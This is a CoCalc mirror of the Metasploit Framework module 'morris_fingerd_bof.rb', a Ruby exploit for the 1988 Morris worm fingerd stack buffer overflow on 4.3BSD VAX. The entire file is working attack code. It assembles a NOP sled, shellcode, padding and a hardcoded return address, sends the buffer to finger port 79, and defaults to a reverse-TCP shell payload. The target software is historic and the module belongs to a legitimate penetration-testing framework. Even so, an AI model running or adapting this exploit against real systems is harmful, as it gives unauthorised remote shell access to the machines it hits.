CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/bsd/finger/morris_fingerd_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = NormalRanking
9
10
# This is so one-off that we define it here
11
ARCH_VAX = 'vax'
12
13
include Msf::Exploit::Remote::Tcp
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'Morris Worm fingerd Stack Buffer Overflow',
19
'Description' => %q{
20
This module exploits a stack buffer overflow in fingerd on 4.3BSD.
21
22
This vulnerability was exploited by the Morris worm in 1988-11-02.
23
Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
24
25
Currently, only bsd/vax/shell_reverse_tcp is supported.
26
},
27
'Author' => [
28
'Robert Tappan Morris', # Discovery? Exploit and worm for sure
29
'Cliff Stoll', # The Cuckoo's Egg epilogue and inspiration
30
'wvu' # Module, payload, and additional research
31
],
32
'References' => [
33
['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
34
['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis
35
['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details
36
['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
37
['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
38
# And credit to the innumerable VAX ISA docs on the Web
39
],
40
'DisclosureDate' => '1988-11-02',
41
'License' => MSF_LICENSE,
42
'Platform' => 'bsd',
43
'Arch' => ARCH_VAX,
44
'Privileged' => false, # Depends on inetd.conf, usually "nobody"
45
'Targets' => [
46
# https://en.wikipedia.org/wiki/Source_Code_Control_System
47
['@(#)fingerd.c 5.1 (Berkeley) 6/6/85',
48
'Ret' => 0x7fffe9b0,
49
'Payload' => {
50
'Space' => 403,
51
'BadChars' => "\n",
52
'Encoder' => 'generic/none', # There is no spoon
53
'DisableNops' => true # Hardcoded NOPs
54
}
55
]
56
],
57
'DefaultTarget' => 0,
58
'DefaultOptions' => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
59
))
60
61
register_options([Opt::RPORT(79)])
62
end
63
64
def check
65
token = rand_text_alphanumeric(8..42)
66
67
connect
68
sock.put("#{token}\n")
69
res = sock.get_once
70
71
return CheckCode::Unknown unless res
72
73
if res.include?("Login name: #{token}")
74
return CheckCode::Detected
75
end
76
77
CheckCode::Safe
78
rescue EOFError, Rex::ConnectionError => e
79
vprint_error(e.message)
80
CheckCode::Unknown
81
ensure
82
disconnect
83
end
84
85
def exploit
86
# Start by generating our custom VAX shellcode
87
shellcode = payload.encoded
88
89
# 0x01 is NOP in VAX-speak
90
nops = "\x01" * (target.payload_space - shellcode.length)
91
92
# This pads past buffer corruption
93
padding = rand_text_alphanumeric(109)
94
95
# This zeroes out part of the stack frame
96
frame = "\x00" * 16
97
98
# Finally, pack in our return address
99
ret = [target.ret].pack('V') # V is for VAX!
100
101
# The newline is for gets(3)
102
sploit = nops + shellcode + padding + frame + ret + "\n"
103
104
# Fire away
105
print_status('Connecting to fingerd')
106
connect
107
print_status("Sending #{sploit.length}-byte buffer")
108
sock.put(sploit)
109
# Hat tip @bcoles
110
rescue Rex::ConnectionError => e
111
fail_with(Failure::Unreachable, e.message)
112
ensure
113
disconnect
114
end
115
116
end
117
118